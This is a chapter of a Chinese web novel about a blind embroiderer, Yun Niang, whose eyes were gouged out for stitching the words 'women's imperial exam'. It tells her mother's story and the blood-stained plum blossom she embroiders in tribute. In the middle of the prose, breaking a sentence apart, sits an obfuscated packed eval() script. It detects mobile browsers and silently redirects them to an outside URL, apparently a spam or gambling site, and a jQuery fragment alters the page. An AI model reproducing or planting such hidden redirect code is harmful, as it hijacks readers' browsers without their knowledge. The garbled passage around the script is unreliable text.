云娘的盲眼之痛
承安十一年，四月十八。
京城，甜水巷。
云娘的绣坊里，那幅“女子科举路”已经绣完了。
可云娘没有停下来。
她又开始绣新的东西。
一块帕子。
很小，巴掌大。
白色的绢，没有任何花样。
阿桑在旁边看着，不知道她要绣什么。
云娘坐在窗边，手指摸着那块白绢。
摸了很久。
然后她拿起针，开始绣。
第一针。
她的手很稳。
可她的眼睛，那两只已经看不见的眼睛，忽然流下泪来。
一滴。
落在白绢上。
她没有擦。
只是继续绣。
阿桑不敢问。
她只是看着那滴泪，一点一点被针线盖住。
云娘的母亲，姓周，叫周芸娘。
芸娘是绣户出身，和她姥姥一样，从小就拿针。五岁能绣花，十岁能绣鸟，十五岁的时候，绣出来的东西拿到铺子里，能卖出好价钱。
十八岁那年，她嫁人了。
嫁的是个穷书生，姓云，叫云书翰。
书翰是个好人，读书用功，待人温和，对她也很好。可他命不好，考了十几年，连个举人都没考上。
芸娘不在乎。
她说，考不上就考不上，咱们有手有脚，饿不死。
她绣花养家，他读书做梦。
日子清贫，可也安稳。
后来他们有了女儿。
女儿取名叫云绣。
绣花的绣。
云绣三岁的时候，书翰病死了。
芸娘一个人拉扯女儿，一边绣花，一边教她。
她教女儿认字，教女儿绣花，教女儿做人。
她说，绣儿，你要记住，女子也要读书识字。不为了考功名，就为了将来不被骗，不被卖，不被人当傻子耍。
云绣问，娘，你读过书吗？
芸娘说，读过一点。你姥姥教的。
云绣问，姥姥是谁？
芸娘说，是个厉害的人。可惜死得早。
云绣没有再问。
她只是跟着娘学，学认字，学绣花，学做人。
十四岁那年，她绣了一幅“百鸟朝凤”。
拿到铺子里卖，掌柜的眼睛都直了。
他说，这手艺，整个京城也找不出第二个。
那天，她在铺子里遇见一个人。
是个穿绸衫的中年男人，说是哪个王府的管事。他看了她的绣品，问她想不想进王府当绣娘，吃皇粮，拿月钱。
她心动了。
回去跟娘商量，娘也心动。
她就去了。
王府真大，真好看。
她住在一间小屋子里，每天绣花，绣不完的花。
她以为这就是好日子了。
直到那一天。
那天，王府里来了贵客，是个什么大人。大人看了她绣的东西，问是谁绣的。管事说是新来的那个丫头，手巧得很。
大人说，让她来，我看看。
她被叫去了。
大人看了她半天，问她会绣字吗？
她说会。
大人说，那你会绣“女子科举”四个字吗？
她愣住了。
她不知道什么叫“女子科举”。她只知道科举是男子的事，跟女子没关系。
大人说，你不知道？那就算了。
她回去了。
可她心里一直想着那四个字。
女子科举。
女子也能科举吗？女子也能读书考试当官吗？她从来没想过。
她问别的绣娘，别人都摇头，说不知道，别瞎打听。
可她还是忍不住想。
那天晚上，她睡不着，起来绣了一方帕子。
帕子上绣了四个字：女子科举。
绣完了，她自己看着，觉得好看。
第二天，有人来了。
是王府的侍卫。
他们把她从绣房里拖出来，按在地上，问她那方帕子是谁让她绣的。
她说没人让，是她自己绣着玩的。
他们不信。
他们说，这是谋反，这是大逆不道，这是要杀头的。
她吓得浑身发抖，说我真的不知道，我就是觉得这四个字好看。
他们说，好看？那就让你以后都看不见。
然后他们把她的眼睛挖了。
她惨叫，她挣扎，她求饶。
没有用。
她的眼睛没了。
后来她被赶出王府，像个死人一样躺在街上。
有人认出她，把她送回家。
她娘看见她的样子，当场就晕过去了。
她躺在床上，蒙着眼睛，躺了三个月。
三个月里，她想过死。很多次。
可她娘看着她，天天哭，天天守着她，她死不了。
三个月后，她拆了蒙眼的布。
眼前一片黑。
她再也看不见了。
她娘抱着她，哭着说，绣儿，娘的绣儿，你怎么这么傻……
她靠在她娘怀里，没有哭。
她只是问了一句话。
“娘，那四个字，真的那么该死吗？”
她娘没有回答。
只是抱着她，抱得更紧了。
那天晚上，她娘坐在她床边，握着她的手。
“绣儿，”她娘说，“你的眼睛没了，可娘还在。娘替你看这世道。”
她问：“看什么？”
她娘说：“看那些人怎么死，看这世道怎么变。”
她沉默了很久。
然后她说：“娘，我想学绣花。”
她娘愣住了。
“你……你都看不见了，怎么绣？”
她说：“用手。”
她娘哭了。
可她答应了。
从那天起，她开始学绣花。
用手学。
一开始绣得乱七八糟，针扎得满手都是血。可她不死心，一遍一遍练。练了一年，她能绣出直线了。练了两年，她能绣出花了。练了三年，她绣出来的东西，比明眼人还好。
怎么做到的？
用手摸。
她绣的时候，先用手指摸布料，记住布的纹理。再摸花样，记住花样的样子。然后一针一针绣，绣一针摸一针，绣错了就拆了重来。
慢，太慢了。
可她有的是时间。
她娘也老了。
那些年，她娘天天陪着她，给她穿针，给她理线，给她讲外面的世道。
她娘说，绣儿，你知道吗，那个挖你眼睛的人，死了。
她问，怎么死的？
她娘说，被人杀了。不知道是谁杀的。反正是死了。
她沉默了一会儿。
然后她说，死得好。
她娘说，还有那个大人，被贬官了，发配到边关去了。
她问，他做了什么？
她娘说，贪污受贿，被人告发了。
她又说，死得好。
她娘看着她，忽然问，绣儿，你恨吗？
她说，恨。
她娘问，恨谁？
她说，恨这世道。
她娘沉默了很久。
然后她说，娘也恨。
她娘死的那年，她三十岁。
她娘临死前，拉着她的手说，绣儿，娘这辈子，没给你什么。就给你一句话。
她问，什么话？
她娘说，活下去。活着，替娘看这世道怎么变。
她握着娘的手，点点头。
娘，我记住了。
她娘笑了。
笑着笑着，手就松开了。
她娘死了。
她一个人活着。
后来她开了这家绣坊，教人绣花。来学的都是穷人家的姑娘，没活路的姑娘，跟她当年一样。
她教她们绣花，也教她们别的。
比如，怎么在绣布里藏消息。
比如，怎么用绣品传递密信。
比如，怎么让那些看不起她们的人，有一天死在她们绣的花里。
她一直记得她娘的话。
活着，替娘看这世道怎么变。
她看了二十年。
看着那些人死，看着那些人倒，看着那些人被新的取代。
可世道没变。
还是那个世道。
女子还是不能读书，不能科举，不能入仕。
女子还是只有三条路——嫁人、为奴、进庵堂。
她等了二十年，什么都没等到。
直到那天。
腊月二十八，风月楼，听梅阁。
七个女人聚在一起。
谢知微说，咱们给这世道换个活法。
她听了，笑了。
等了二十年，终于等到了。
现在，那幅“女子科举路”绣完了。
那是她们的路。
也是她娘的路。
也是她的路。
云娘继续绣着那块帕子。
很小，巴掌大。
白色的绢。
她绣得很慢。
一针一针，像在数日子。
数那些看不见的日子。
数那些等着的日子。
数那些盼着的日子。
阿桑在旁边看着，终于忍不住问：“云娘，您绣的是什么？”
云娘说：“梅花。”
阿桑愣了一下。
“梅花？”
云娘点点头。
“一朵梅花。”
阿桑不明白。
云娘没有解释。
她只是继续绣。
绣那朵梅花。
一朵梅花，五片花瓣。
她绣了五针。
一针，是娘。
一针，是自己。
一针，是那些死去的姑娘。
一针，是那些还活着的姑娘。
一针，是那条路。
绣完最后一针，她停下来。
手指上全是血。
那朵梅花，被血染红了。
红得像火。
红得像那些死了的人的眼睛。
红得像她娘最后看她的眼神。
云娘把那块帕子捧在手心里，摸着那朵梅花。
摸了很久。
然后她笑了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334422|199218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>笑得很轻，很淡。
眼泪从眼眶里流下来。
一滴，两滴，三滴。
落在那朵梅花上。
和血混在一起。
分不清哪是血，哪是泪。
阿桑看着她，不敢出声。
她从来没见过云娘这样。
那个总是平静的、温和的、什么都打不倒的云娘，现在哭得像个小姑娘。
可她在笑。
哭着笑。
笑着哭。
阿桑不知道该怎么办。
她只是站在那里，看着她。
过了很久，云娘开口了。
“娘，”她轻声说，“女子科举，成了。”
声音很轻，轻得像风。
可阿桑听见了。
她忽然明白云娘在绣什么了。
那朵梅花，是绣给她娘的。
绣给她那个替她看了二十年世道的娘。
绣给她那个到死都没等到这一天、却一直相信会有这一天的娘。
阿桑的眼眶红了。
她走过去，跪在云娘身边。
“云娘，”她说，“您娘会看见的。”
云娘点点头。
“她会的。”她说。
四月十九。
谢知微来了。
她站在绣坊里，看着云娘手里那块帕子。
那块染了血的帕子。
那朵血红的梅花。
她问：“这是什么？”
云娘说：“给我娘的。”
谢知微沉默了一会儿。
然后她说：“你娘是个好人。”
云娘点点头。
“她是。”她说。
谢知微问：“她叫什么？”
云娘说：“周芸娘。”
谢知微点点头。
“我记住了。”她说。
四月二十。
七个人又聚在风月楼。
那幅“女子科举路”挂在墙上。
所有人都看着它。
看着那条蜿蜒的山路，看着那些开满的梅花。
看着那朵最大的、最亮的梅花。
那是苏绣的簪子绣成的。
也是云娘的血染成的。
苏锦站在那幅绣品前，看着那朵梅花。
看了很久。
然后她转过身，看着云娘。
“云娘，”她说，“谢谢你。”
云娘摇摇头。
“谢什么？”她说，“我也是替自己绣的。”
沈醉拎着酒坛走过来。
“行了，”她说，“都别谢来谢去的了。喝酒。”
她给每人倒了一碗酒。
七碗酒，七个人。
谢知微举起碗。
“诸位，”她说，“这条路，咱们铺好了。接下来，该走了。”
沈醉问：“往哪儿走？”
谢知微说：“往那条路上走。”
沈醉笑了。
“好，”她说，“那就走。”
七碗酒碰在一起。
窗外，阳光正好。
照在那幅绣品上，照在那些梅花上。
那些梅花，像是活了。
一朵一朵，在阳光下闪闪发光。
苏锦看着那朵最大的梅花，忽然说：“绣儿，你看见了吗？”
没有人回答。
可她知道，她妹妹看见了。
一定看见了。
云娘也看着那幅绣品。
虽然她看不见，可她心里看得见。
她看见那条路，蜿蜒到山顶。
她看见那些梅花，开满了路边。
她看见她娘，站在山顶上，正在朝她招手。
她娘说，绣儿，你来了。
她点点头。
娘，我来了。
带着你的路。
带着你的梦。
带着那些姑娘们的命。
她娘笑了。
笑得和当年一样。
四月二十一。
云娘把那块帕子烧了。
火光照在她脸上，暖暖的。
她看着那火光，虽然看不见，可她能感觉到。
那朵梅花，在火里燃烧。
她娘的脸，在火里出现。
又消失。
她娘说，绣儿，娘走了。
她说，娘，您走好。
她娘笑了。
然后就没了。
只剩下灰烬。
云娘把那些灰烬收起来，装进一个小布袋里。
贴身放着。
阿桑问：“云娘，那是什么？”
云娘说：“是我娘。”
阿桑愣住了。
云娘说：“她在我心里。也在那幅绣品里。也在那条路上。”
她站起来，走出门。
外面，阳光很好。
照在她身上，暖洋洋的。
她抬起头，对着那太阳。
虽然看不见，可她觉得，今天的天，特别亮。
亮得像她娘的眼睛。
亮得像那些梅花。
亮得像那条路。
她笑了。
笑着笑着，眼泪又流下来。
可这一次，是甜的。